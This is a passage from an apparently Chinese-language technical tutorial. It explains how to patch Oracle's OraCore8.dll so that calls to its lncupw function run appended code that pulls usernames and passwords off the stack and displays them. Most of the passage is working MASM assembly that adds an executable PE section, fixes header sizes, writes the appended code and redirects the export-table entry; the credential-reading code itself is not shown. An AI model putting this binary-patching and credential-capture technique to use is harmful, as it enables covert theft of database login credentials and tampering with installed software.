2. 具体的实现方案
我们的方法就是在对 OraCore8.dll 进行补丁,在 dll 文件中附加一段代码,然后修改 dll 的导出表中 lncupw 函数对应的入口地址,将它指向到附加的代码中,然后由这段代码在堆栈中取出用户名和密码并显示出来,完成这个步骤后再跳转到原始的 lncupw 函数的入口地址去执行原有的功能。
这个方案涉及到两个技术问题,第一是对 dll 文件的修改问题,这个问题可以归结为在 PE 文件后添加可执行代码的方法问题,第二就是写被附加到 dll 文件后的程序体的问题。
对 dll 文件的修改代码的片断如下,在这以前,我们假定已经做了其他这样一些工作:
※ 文件名字符串放在 szFileName 指定的缓冲区中。
※ 已经对文件进行校验,找到了导出表中的 lncupw 项目,这个项目在文件中的 Offset 放在 dwOffsetPeHeand 中,lncupw 的原始入口RVA放在 dwProcEntry 变量中。
※ 找出了 dll 文件中的 PE 文件头位置,并拷贝 PE 文件头到 lpPeHead 指定的位置中。
引用:
invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax == INVALID_HANDLE_VALUE
invoke MessageBox,hWinMain,addr szErrModify,NULL,MB_OK or MB_ICONERROR
jmp _Ret
.endif
mov @hFile,eax
;********************************************************************
; esi --> 原PeHead
; edx --> 最后一个节表,ebx --> 新加的节表
;********************************************************************
mov esi,lpPeHead
assume esi:ptr IMAGE_NT_HEADERS
movzx eax,[esi].FileHeader.NumberOfSections
dec eax
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx
mov edx,esi
add edx,eax
add edx,sizeof IMAGE_NT_HEADERS
mov ebx,edx
add ebx,sizeof IMAGE_SECTION_HEADER
assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; 加入一个新的节,并修正一些PE头部的内容
;********************************************************************
inc [esi].FileHeader.NumberOfSections
mov eax,[edx].PointerToRawData
add eax,[edx].SizeOfRawData
mov [ebx].PointerToRawData,eax
invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.FileAlignment
mov [ebx].SizeOfRawData,eax
invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.SectionAlignment
add [esi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode
add [esi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage
invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
add eax,[edx].VirtualAddress
mov [ebx].VirtualAddress,eax
mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
invoke lstrcpy,addr [ebx].Name1,addr szMySection
;********************************************************************
; 写文件
;********************************************************************
invoke SetFilePointer,@hFile,dwOffsetPeHead,NULL,FILE_BEGIN
invoke WriteFile,@hFile,esi,[esi].OptionalHeader.SizeOfHeaders,\
addr @dwTemp,NULL
invoke SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN
invoke WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\
addr @dwTemp,NULL
mov eax,[ebx].PointerToRawData
add eax,[ebx].SizeOfRawData
invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN
invoke SetEndOfFile,@hFile
;********************************************************************
; 修正新加代码中的 Jmp oldEntry 指令
;********************************************************************
mov eax,[ebx].VirtualAddress
add eax,(offset _dwOldEntry-offset APPEND_CODE+4)
sub dwProcEntry,eax
mov ecx,[ebx].PointerToRawData
add ecx,(offset _dwOldEntry-offset APPEND_CODE)
invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN
invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL
;********************************************************************
; 修正入口指针
;********************************************************************
mov eax,[ebx].VirtualAddress
add eax,(offset _NewEntry-offset APPEND_CODE)
mov dwProcEntry,eax
invoke SetFilePointer,@hFile,dwOffsetProc,NULL,FILE_BEGIN
invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL
;********************************************************************
; 关闭文件
;********************************************************************
invoke CloseHandle,@hFile
_Ret:
; 修改完成